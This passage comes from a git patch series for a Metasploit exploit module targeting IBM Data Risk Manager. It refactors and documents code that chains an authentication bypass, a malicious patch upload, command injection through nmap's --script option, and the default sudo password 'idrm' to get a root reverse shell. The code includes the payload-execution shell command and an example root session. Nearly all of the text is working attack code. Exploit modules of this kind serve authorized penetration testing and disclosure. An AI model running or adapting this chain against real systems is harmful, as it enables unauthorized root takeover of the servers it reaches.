b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ], [ 'CVE', '2020-4427' ], # auth bypass [ 'CVE', '2020-4428' ], # command injection [ 'CVE', '2020-4429' ], # insecure default password From 5651f4ae752e73125b146cad78d83d4992bf74bf Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 5 May 2020 10:01:40 +0700 Subject: [PATCH 8/9] break into small chunks --- modules/exploits/linux/http/ibm_drm_rce.rb | 305 ++++++++++++--------- 1 file changed, 172 insertions(+), 133 deletions(-) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index e44989a164..624e90a207 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -32,9 +32,9 @@ class MetasploitModule < Msf::Exploit::Remote [ [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ], - [ 'CVE', '2020-4427' ], # auth bypass - [ 'CVE', '2020-4428' ], # command injection - [ 'CVE', '2020-4429' ], # insecure default password + [ 'CVE', '2020-4427' ], # auth bypass + [ 'CVE', '2020-4428' ], # command injection + [ 'CVE', '2020-4429' ], # insecure default password ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], @@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote return '/home/a3user/agile3/patches/' end - def exploit + def create_session_id # step 1: create a session ID and try to make it stick session_id = rand_text_alpha(5..12) res = send_request_cgi({ @@ -132,6 +132,10 @@ class MetasploitModule < Msf::Exploit::Remote print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") end + session_id + end + + def free_the_admin(session_id) # step 2: give the session ID to the server and have it grant us a free admin password post_data = Rex::MIME::Message.new post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') @@ -146,137 +150,172 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res && (res.code == 200) && res.body[/\"data\":\"([0-9a-f\-]{36})/] - password = Regexp.last_match(1) - print_good("#{peer} - We have obtained a new admin password #{password}") - # step 3: login and get an authenticated cookie - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), - 'method' => 'POST', - 'vars_post' => { - 'userName' => 'admin', - 'password' => password - } - }) - if res && (res.code == 302) && res.get_cookies - print_good("#{peer} - ... and are authenticated as an admin!") - cookie = res.get_cookies - url = res.redirection.to_s - - # step 4: obtain CSRF header in order to be able to make valid requests - res = send_request_cgi({ - 'uri' => url, - 'method' => 'GET', - 'cookie' => cookie - }) - if res && (res.code == 200) && res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ - csrf = Regexp.last_match(1) - patches_path = get_patches_path(cookie, csrf) - - # step 5: upload our payload - payload_file = rand_text_alpha(5..12) + '.enc' - post_data = Rex::MIME::Message.new - post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), - 'method' => 'POST', - 'cookie' => cookie, - 'headers' => { 'CSRF-TOKEN' => csrf }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" - }) - if res && (res.code == 200) - print_good("#{peer} - We have uploaded our payload... ") - - # step 6: upload our script file - # nmap will run as a3user (the server user), which has a default password of "idrm". - # a3user has sudo access, so that means we run as root! - # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo - # to execute as root, we ensure our payload still executes as a3user. - # - # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity. - script_file = rand_text_alpha(5..12) + '.enc' - @script_filepath = patches_path + script_file - @payload_filepath = patches_path + payload_file - rand_file = rand_text_alpha(5..12) - cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};" - cmd += " root=`cat /tmp/#{rand_file}`;" - cmd += " if [ $root == 'root' ]; then sudo #{@payload_filepath};" - cmd += " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" - script_file_contents = "os.execute(\"#{cmd}\")" - - post_data = Rex::MIME::Message.new - post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), - 'method' => 'POST', - 'cookie' => cookie, - 'headers' => { 'CSRF-TOKEN' => csrf }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" - }) - - if res && (res.code == 200) - print_good("#{peer} - and our nmap script file!") - - # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) - post_data = Rex::MIME::Message.new - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') - post_data.add_part(password, nil, nil, content_disposition = 'form-data; name="password"') - post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), - 'method' => 'POST', - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" - }) - if res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ - bearer = Regexp.last_match(1) - print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...") - - # step 8 and final: invoke the nmap scan with our script file - script = "--script=#{@script_filepath}" - post_data = Rex::MIME::Message.new - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') - post_data.add_part('1', nil, nil, content_disposition = 'form-data; name="type"') - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="portRange"') - post_data.add_part(script, nil, nil, content_disposition = 'form-data; name="ipAddress"') - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), - 'method' => 'POST', - 'headers' => { 'Authorization' => "Bearer #{bearer}" }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" - }) - if res && (res.code == 200) - print_good("#{peer} - Shell incoming!") - handler - else - fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.") - end - else - fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.") - end - else - fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.") - end - else - fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.") - end - else - fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.") - end - else - fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.") - end - else + unless res && (res.code == 200) && res.body[/\"data\":\"([0-9a-f\-]{36})/] fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.") end + + password = Regexp.last_match(1) + print_good("#{peer} - We have obtained a new admin password #{password}") + + password + end + + def login_and_csrf(password) + # step 3: login and get an authenticated cookie + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => 'admin', + 'password' => password + } + }) + unless res && (res.code == 302) && res.get_cookies + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.") + end + + print_good("#{peer} - ... and are authenticated as an admin!") + cookie = res.get_cookies + url = res.redirection.to_s + + # step 4: obtain CSRF header in order to be able to make valid requests + res = send_request_cgi({ + 'uri' => url, + 'method' => 'GET', + 'cookie' => cookie + }) + + unless res && (res.code == 200) && res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.") + end + csrf = Regexp.last_match(1) + + return cookie, csrf + end + + def upload_payload_and_script(cookie, csrf, patches_path) + # step 5: upload our payload + payload_file = rand_text_alpha(5..12) + '.enc' + post_data = Rex::MIME::Message.new + post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.") + end + + print_good("#{peer} - We have uploaded our payload... ") + + # step 6: upload our script file + # nmap will run as a3user (the server user), which has a default password of "idrm". + # a3user has sudo access, so that means we run as root! + # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo + # to execute as root, we ensure our payload still executes as a3user. + # + # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity. + script_file = rand_text_alpha(5..12) + '.enc' + @script_filepath = patches_path + script_file + @payload_filepath = patches_path + payload_file + rand_file = rand_text_alpha(5..12) + cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};" + cmd += " root=`cat /tmp/#{rand_file}`;" + cmd += " if [ $root == 'root' ]; then sudo #{@payload_filepath};" + cmd += " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" + script_file_contents = "os.execute(\"#{cmd}\")" + + post_data = Rex::MIME::Message.new + post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) + fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.") + end + + print_good("#{peer} - and our nmap script file!") + end + + def obtain_bearer_token(password) + # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') + post_data.add_part(password, nil, nil, content_disposition = 'form-data; name="password"') + post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ + fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.") + end + + bearer = Regexp.last_match(1) + print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...") + + bearer + end + + def exploit + # step 1: create a session ID and try to make it stick + session_id = create_session_id + + # step 2: give the session ID to the server and have it grant us a free admin password + password = free_the_admin(session_id) + + # step 3: login and get an authenticated cookie + # step 4: obtain CSRF header in order to be able to make valid requests + cookie, csrf = login_and_csrf(password) + + patches_path = get_patches_path(cookie, csrf) + + # step 5: upload our payload + # step 6: upload our script file + upload_payload_and_script(cookie, csrf, patches_path) + + # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) + bearer = obtain_bearer_token(password) + + # step 8 and final: invoke the nmap scan with our script file + script = "--script=#{@script_filepath}" + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') + post_data.add_part('1', nil, nil, content_disposition = 'form-data; name="type"') + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="portRange"') + post_data.add_part(script, nil, nil, content_disposition = 'form-data; name="ipAddress"') + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), + 'method' => 'POST', + 'headers' => { 'Authorization' => "Bearer #{bearer}" }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res && (res.code == 200) + print_good("#{peer} - Shell incoming!") + handler + else + fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.") + end end end From a17d78a3273ae9a8e03f47dbc98b6e100fe63769 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 5 May 2020 10:54:33 +0700 Subject: [PATCH 9/9] Address review comments Update documentation/modules/exploit/linux/http/ibm_drm_rce.md Co-authored-by: wvu-r7 Update documentation/modules/exploit/linux/http/ibm_drm_rce.md Co-authored-by: wvu-r7 Update documentation/modules/exploit/linux/http/ibm_drm_rce.md Co-authored-by: wvu-r7 Update ibm_drm_rce.md Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 make final changes! Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 Update modules/exploits/linux/http/ibm_drm_rce.rb Co-authored-by: wvu-r7 final final final --- .../modules/exploit/linux/http/ibm_drm_rce.md | 29 +++-- modules/exploits/linux/http/ibm_drm_rce.rb | 101 +++++++++--------- 2 files changed, 68 insertions(+), 62 deletions(-) diff --git a/documentation/modules/exploit/linux/http/ibm_drm_rce.md b/documentation/modules/exploit/linux/http/ibm_drm_rce.md index 0b5da19740..1626f5ae1e 100644 --- a/documentation/modules/exploit/linux/http/ibm_drm_rce.md +++ b/documentation/modules/exploit/linux/http/ibm_drm_rce.md @@ -1,17 +1,31 @@ ## Vulnerable Application + IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. -The first is an unauthenticated bypass, followed by a command injection as the server user and finally abuse of an insecure default password. +The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. This module exploits all three vulnerabilities, giving the attacker a root shell. -At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too. +At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too. -**Vulnerable Application Installation Steps** -The application is available to download as Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so. +### Vulnerability information +For more information about the vulnerability check the advisory at: +https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md + +### Setup + +The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so. ## Verification Steps -Module defaults work very well, you should just need to set RHOSTS and LHOST. +Module defaults work very well, you should just need to set `RHOSTS` and `LHOST`. + +## Scenarios + + +## Scenarios + A successful exploit will look like this: + + ``` msf5 exploit(linux/http/ibm_drm_unauth_rce) > run @@ -31,8 +45,3 @@ root uname -a Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux ``` - -## Vulnerability information -For more information about the vulnerability check the advisory at: -https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md - diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index 624e90a207..185ab065e3 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -17,10 +17,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. - The first is an unauthenticated bypass, followed by a command injection as the server user + The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. This module exploits all three vulnerabilities, giving the attacker a root shell. - At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be + At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too. }, 'Author' => @@ -30,11 +30,11 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], - [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ], [ 'CVE', '2020-4427' ], # auth bypass [ 'CVE', '2020-4428' ], # command injection [ 'CVE', '2020-4429' ], # insecure default password + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ] ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], @@ -46,18 +46,18 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'WfsDelay' => 15, - 'PAYLOAD' => 'linux/x64/shell_reverse_tcp' + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'SSL' => true }, 'DefaultTarget' => 0, - 'DisclosureDate' => 'Apr 21 2020' + 'DisclosureDate' => '2020-04-21' ) ) register_options( [ - OptPort.new('RPORT', [true, 'The target port', 8443]), - OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, 'Default server path', '/']), + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'Default server path', '/']) ] ) end @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote # at the moment there is no better way to detect AND be stealthy about it session_id = rand_text_alpha(5..12) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'), 'method' => 'GET', 'vars_get' => { 'id' => session_id, @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Unknown + Exploit::CheckCode::Unknown end # post-exploitation: @@ -99,59 +99,57 @@ class MetasploitModule < Msf::Exploit::Remote # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches def get_patches_path(cookie, csrf) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'getAppInfo'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'), 'method' => 'GET', 'cookie' => cookie, 'headers' => { 'CSRF-TOKEN' => csrf } }) - if res && (res.code == 200) - if res.body =~ /appVersion\":\"2.0.1\"/ - print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1") - return '/root/agile3/patches/' - end + if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/ + print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1") + return '/root/agile3/patches/' end print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above") - return '/home/a3user/agile3/patches/' + '/home/a3user/agile3/patches/' end def create_session_id # step 1: create a session ID and try to make it stick session_id = rand_text_alpha(5..12) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'), 'method' => 'GET', 'vars_get' => { 'id' => session_id, 'userName' => 'admin' } }) - if res && (res.code = !302) + if res && (res.code != 302) fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID") - else - print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") end + print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") + session_id end def free_the_admin(session_id) # step 2: give the session ID to the server and have it grant us a free admin password post_data = Rex::MIME::Message.new - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') - post_data.add_part(rand_text_alpha(8..15), nil, nil, content_disposition = 'form-data; name="password"') - post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') - post_data.add_part(session_id, nil, nil, content_disposition = 'form-data; name="sessionId"') + post_data.add_part('', nil, nil, 'form-data; name="deviceid"') + post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"') + post_data.add_part('admin', nil, nil, 'form-data; name="username"') + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') + post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - unless res && (res.code == 200) && res.body[/\"data\":\"([0-9a-f\-]{36})/] + unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/] fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.") end @@ -164,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote def login_and_csrf(password) # step 3: login and get an authenticated cookie res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'login'), 'method' => 'POST', 'vars_post' => { 'userName' => 'admin', @@ -186,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => cookie }) - unless res && (res.code == 200) && res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ + unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/ fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.") end csrf = Regexp.last_match(1) @@ -198,10 +196,10 @@ class MetasploitModule < Msf::Exploit::Remote # step 5: upload our payload payload_file = rand_text_alpha(5..12) + '.enc' post_data = Rex::MIME::Message.new - post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") + post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'), 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'CSRF-TOKEN' => csrf }, @@ -227,16 +225,16 @@ class MetasploitModule < Msf::Exploit::Remote @payload_filepath = patches_path + payload_file rand_file = rand_text_alpha(5..12) cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};" - cmd += " root=`cat /tmp/#{rand_file}`;" - cmd += " if [ $root == 'root' ]; then sudo #{@payload_filepath};" - cmd += " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" + cmd << " root=`cat /tmp/#{rand_file}`;" + cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};" + cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" script_file_contents = "os.execute(\"#{cmd}\")" post_data = Rex::MIME::Message.new - post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") + post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'), 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'CSRF-TOKEN' => csrf }, @@ -254,13 +252,13 @@ class MetasploitModule < Msf::Exploit::Remote def obtain_bearer_token(password) # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) post_data = Rex::MIME::Message.new - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') - post_data.add_part(password, nil, nil, content_disposition = 'form-data; name="password"') - post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') + post_data.add_part('', nil, nil, 'form-data; name="deviceid"') + post_data.add_part(password, nil, nil, 'form-data; name="password"') + post_data.add_part('admin', nil, nil, 'form-data; name="username"') + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" @@ -299,23 +297,22 @@ class MetasploitModule < Msf::Exploit::Remote # step 8 and final: invoke the nmap scan with our script file script = "--script=#{@script_filepath}" post_data = Rex::MIME::Message.new - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') - post_data.add_part('1', nil, nil, content_disposition = 'form-data; name="type"') - post_data.add_part('', nil, nil, content_disposition = 'form-data; name="portRange"') - post_data.add_part(script, nil, nil, content_disposition = 'form-data; name="ipAddress"') + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') + post_data.add_part('1', nil, nil, 'form-data; name="type"') + post_data.add_part('', nil, nil, 'form-data; name="portRange"') + post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), + 'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), 'method' => 'POST', 'headers' => { 'Authorization' => "Bearer #{bearer}" }, 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res && (res.code == 200) - print_good("#{peer} - Shell incoming!") - handler - else + unless res && (res.code == 200) fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.") end + + print_good("#{peer} - Shell incoming!") end end